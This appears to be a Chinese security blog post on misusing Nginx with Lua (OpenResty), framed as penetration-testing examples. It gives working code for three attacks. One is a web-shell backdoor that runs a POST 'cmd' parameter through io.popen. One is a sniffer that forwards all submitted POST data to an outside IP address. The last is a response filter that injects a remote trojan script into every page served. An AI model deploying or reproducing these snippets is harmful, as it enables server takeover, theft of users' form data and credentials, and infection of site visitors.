Nginx + Lua
nginx是一个用C语言开发的高性能WEB服务器及反向代理服务器,先将Nginx+Lua组合到一起的是OpenResty(类似的还有淘宝的tengine)。OpenResty通过汇聚各种设计精良的 Nginx 模块,从而将 Nginx 有效地变成一个强大的通用 Web 应用平台,在WEB应用与信息安全领域均有广泛的应用:
Nginx lua模块指令的顺序
nginx有11个处理阶段,如下图所示:
一般我们在开发过程中常用到的阶段如下:
- set_by_lua*: 流程分之处理判断变量初始化
- rewrite_by_lua*: 转发、重定向、缓存等功能(例如特定请求代理到外网)
- access_by_lua*: IP准入、接口权限等情况集中处理(例如配合iptable完成简单防火墙)
- content_by_lua*: 内容生成
- header_filter_by_lua*: 应答HTTP过滤处理(例如添加头部信息)
- body_filter_by_lua*: 应答BODY过滤处理(例如完成应答内容统一成大写)
- log_by_lua*: 回话完成后本地异步完成日志记录(日志可以记录在本地,还可以同步到其他机器)
一般情况下,我们使用content阶段即可。
后门示例
找到conf/nginx.conf
,在server块中添加路由:
1 2 3 4 |
location = /a.php { default_type 'text/plain'; content_by_lua_file lua/backdoor.lua; } |
然后创建lua/backdoor.lua
脚本,你也可以创建在任意位置,不过要对应上文的content_by_lua_file
字段:
1 2 3 4 5 6 7 8 |
ngx.req.read_body() local post_args = ngx.req.get_post_args() local cmd = post_args["cmd"] if cmd then f_ret = io.popen(cmd) local ret = f_ret:read("*a") ngx.say(string.format("%s", ret)) end |
重载nginx
1 |
nginx -s reload |
浏览器访问
数据监听、窃取示例
nginx实现数据监听非法方便,只要以下ngx.req.read_body()和local post_args = ngx.req.get_post_args()2行代码即可, 再利用lua-resty-http模块就可以将数据通过post的方式提交到黑阔指定的地方,测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
local http = require "resty.http" local cjson = require("cjson") local _M = {} function _M.sniff() ngx.req.read_body() local post_args = ngx.req.get_post_args() ngx.log(ngx.DEBUG, "data=" .. cjson.encode(post_args)) if post_args then local httpc = http.new() local res, err = httpc:request_uri("http://111.111.111.111/test/", { method = "POST", body = "data=" .. cjson.encode(post_args), headers = { ["Content-Type"] = "application/x-www-form-urlencoded", } }) end end return _M |
挂马示例
在nginx返回数据时,将网页木马插入即可,代码如下:
1 2 3 4 5 |
function _M.hang_horse() local data = ngx.arg[1] or "" local html = string.gsub(data, "</head>", "<script src=\"http://docs.xsec.io/1.js\"></script></head>") ngx.arg[1] = html end |
放到目标网站的/目录下后的效果如下:
1 2 |
location ~* ^/ { body_filter_by_lua 'cmd.hang_horse()'; |
在实际的渗透测试与安全检测中,并不限于以上举的几个小例子,我们应还应把服务容器载体做为一个分支来处理。
参考
原文连接:浅谈Nginx Lua安全应用示例:后门/监听/挂马等
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。